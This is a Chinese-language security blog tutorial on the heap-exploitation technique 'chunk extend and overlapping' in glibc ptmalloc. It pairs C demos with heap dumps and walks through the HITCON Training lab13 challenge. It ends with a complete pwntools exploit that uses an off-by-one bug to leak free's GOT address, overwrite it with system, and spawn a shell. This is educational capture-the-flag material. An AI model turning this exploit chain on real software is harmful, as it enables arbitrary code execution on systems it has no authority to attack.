堆溢出-Chunk Extend and Overlapping

Author Avatar
kabeor 1月 05, 2020

堆溢出-Chunk Extend and Overlapping

原理

这种利用方法需要以下的时机和条件:

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据

ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。

作用

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

对 inuse 的 fastbin 进行 extend

该利用的效果是通过更改第一个块的大小来控制第二个块的内容。

int main(void)
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk

*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
堆内布局
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk

当把chunk 1 size改为0x41(0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小),chunk 2被chunk 1包含进去,,当把chunk1释放时chunk2被一同释放,再申请一个比chunk1大的块就能直接控制chunk2(不要覆盖top chunk),称为 overlapping chunk。

对 inuse 的 smallbin 进行 extend

处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。(fastbin 默认的最大的 chunk 可使用范围是 0x70)

int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个 0x80 的chunk1 大小 > fastbin
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并

*(int *)((int)ptr-0x8)=0xb1; // 修改第一个块的size域
free(ptr);
ptr1=malloc(0xa0);
}
堆内布局
0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk

在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。

释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin,再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时我们就可以控制 chunk2 中的内容。

对 free 的 smallbin 进行 extend

int main()
{
void *ptr,*ptr1;

ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2

free(ptr);//首先进行释放,使得chunk1进入unsorted bin

*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}
0x602000:   0x0000000000000000  0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk

首先释放 chunk1 使它进入 unsorted bin 中,然后篡改 chunk1 的 size 域,此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。

通过 extend 后向 overlapping

int main()
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}

malloc(0x10)申请的都是fastbin。

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。

通过 extend 前向 overlapping

int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

例 HITCON Trainging lab13

功能
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");

漏洞点

unsigned __int64 edit_heap()

if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(*(heaparray[v1] + 1), *heaparray[v1] + 1LL); // off-by-one
puts("Done !");
}

利用

  1. 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
  2. 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

break *0x400D76

创建两个大小为0x14的堆块,heap命令查看

pwndbg> x/20gx 0x603290
0x603290: 0x0000000000000000 0x0000000000000021 ===>chunk1
0x6032a0: 0x0000000000000014 0x00000000006032c0 指向
0x6032b0: 0x0000000000000000 0x0000000000000021 ===>chunk1数据
0x6032c0: 0x6161616161616161 0x6161616161616161 长度0x14
0x6032d0: 0x0000000061616161 0x0000000000000021 ===>chunk2
0x6032e0: 0x0000000000000014 0x0000000000603300
0x6032f0: 0x0000000000000000 0x0000000000000021 ===>chunk2数据
0x603300: 0x6262626262626262 0x6262626262626262 长度0x14
0x603310: 0x0000000062626262 0x0000000000020cf1 ===>top chunk
0x603320: 0x0000000000000000 0x0000000000000000

因此堆中保存的结构为

-----------------------------------------
chunk1 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------
chunk2 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------

可见如果我们数据的长度为0x18,调用edit_heap就可触发off-by-one覆盖下一堆块的prev_size

一个chunk在被free掉之后存在bins中,其头部含有prev_size和size,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了。

接下来就是利用通过 extend 后向 overlapping+fastbin实现利用了

create(0x18,'aaaa')# chunk0
create(0x10,'bbbb')# chunk1
create(0x10,'cccc')# chunk2
create(0x10,'/bin/sh')# chunk3
edit(0,'a'*0x18+'\x81')# 0x18, off-by-one
delete(1) # 通过 extend 后向 overlapping
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])#这里的size涉及到后面修改地址时需要多长的字节
create(0x70,payload) #重新创建chunk

show(2)
p.recvuntil('Content : ')
free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00')) # free_got地址
success('free_addr = '+str(hex(free_addr)))

system_addr = free_addr + lib.symbols['system']-lib.symbols['free'] # system地址
success('system_addr = '+str(hex(system_addr)))

edit(2,p64(system_addr)) # 写入

delete(3) # free执行
p.interactive()

exp

#!/usr/bin/env python
from pwn import *
cn = process('./heapcreator')
elf=ELF('./heapcreator')
#context.log_level='debug'
lib = ELF('libc.so.6')

def create(l,value):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('Size of Heap : ')
cn.sendline(str(int(l)))
cn.recvuntil('Content of heap:')
cn.sendline(value)

def edit(index,value):
cn.recvuntil('Your choice :')
cn.sendline('2')
cn.recvuntil('Index :')
#if index == 2:gdb.attach(cn)
cn.sendline(str(index))
cn.recvuntil('Content of heap : ')
cn.sendline(value)
def show(index):
cn.recvuntil('Your choice :')
gdb.attach(cn)
cn.sendline('3')
cn.recvuntil('Index :')
cn.sendline(str(index))
def delete(index):
cn.recvuntil('Your choice :')
cn.sendline('4')
cn.recvuntil('Index :')
cn.sendline(str(index))
#leak free addr
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
gdb.attach(cn)
edit(0,'a'*0x18+'\x81')
gdb.attach(cn)
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)#1

show(2)
cn.recvuntil('Content : ')
free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))
#trim free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))
#gdb.attach(cn)
edit(2,p64(system_addr))
#gdb.attach(cn)
show(2)
delete(3)
cn.interactive()

From https://kabeor.github.io/堆溢出-Chunk Extend and Overlapping/ bye

This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接:https://kabeor.github.io/堆溢出-Chunk Extend and Overlapping/